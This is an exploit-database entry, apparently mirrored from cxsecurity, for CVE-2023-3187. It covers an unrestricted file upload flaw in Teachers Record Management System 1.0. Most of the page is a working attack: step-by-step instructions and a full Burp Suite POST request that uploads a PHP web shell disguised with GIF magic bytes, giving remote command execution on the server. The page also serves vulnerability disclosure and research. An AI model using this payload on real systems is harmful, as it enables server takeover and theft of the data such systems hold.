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Teachers Record Management System 1.0 File Upload Type Validation

CVE Category Price Severity
CVE-2023-3187 CWE-434 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2023-06-14
CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023060026

Below is a copy:

Teachers Record Management System 1.0 File Upload Type Validation
Exploit Title: Teachers Record Management System 1.0  File Upload Type Validation
Date: 17-01-2023
EXPLOIT-AUTHOR: AFFAN AHMED
Vendor Homepage: <https://phpgurukul.com>
Software Link: <https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/>
Version: 1.0
Tested on: Windows 11 + XAMPP
CVE : CVE-2023-3187

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STEPS_TO_REPRODUCE
===============================
1. Login into Teacher-Account with the credentials Username: [email protected]
Password: Test@123
2. Navigate to Profile Section and edit the Profile Pic by clicking on Edit Image
3. Open the Burp-suite and Intercept the Edit Image Request
4. In POST Request Change the  Filename  from  profile picture.png  to profile picture.php.gif 
5. Change the **Content-type from  image/png  to  image/gif 
6. And Add this **Payload** : `GIF89a <?php echo system($_REQUEST['dx']); ?>`
7. Where **GIF89a is the GIF magic bytes this bypass the file upload extension**
8. Below is the Burpsuite-POST Request for all the changes that I have made above

==========================================
BURPSUITE_REQUEST
==========================================
POST /trms/teacher/changeimage.php HTTP/1.1
Host: localhost
Content-Length: 442
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: <http://localhost>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryndAPYa0GGOxSUHdF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://localhost/trms/teacher/changeimage.php>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=8alf0rbfjmhm3ddra7si0cv7qc
Connection: close

------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="subjects"

John Doe
------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="newpic"; filename="profile picture.php.gif"
Content-Type: image/gif

GIF89a <?php echo system($_REQUEST['dx']); ?>

------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="submit"


------WebKitFormBoundaryndAPYa0GGOxSUHdF--


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PROOF_OF_CONCEPT
===============================
GITHUB_LINK: https://github.com/ctflearner/Vulnerability/blob/main/Teacher_Record_Management_System/trms.md

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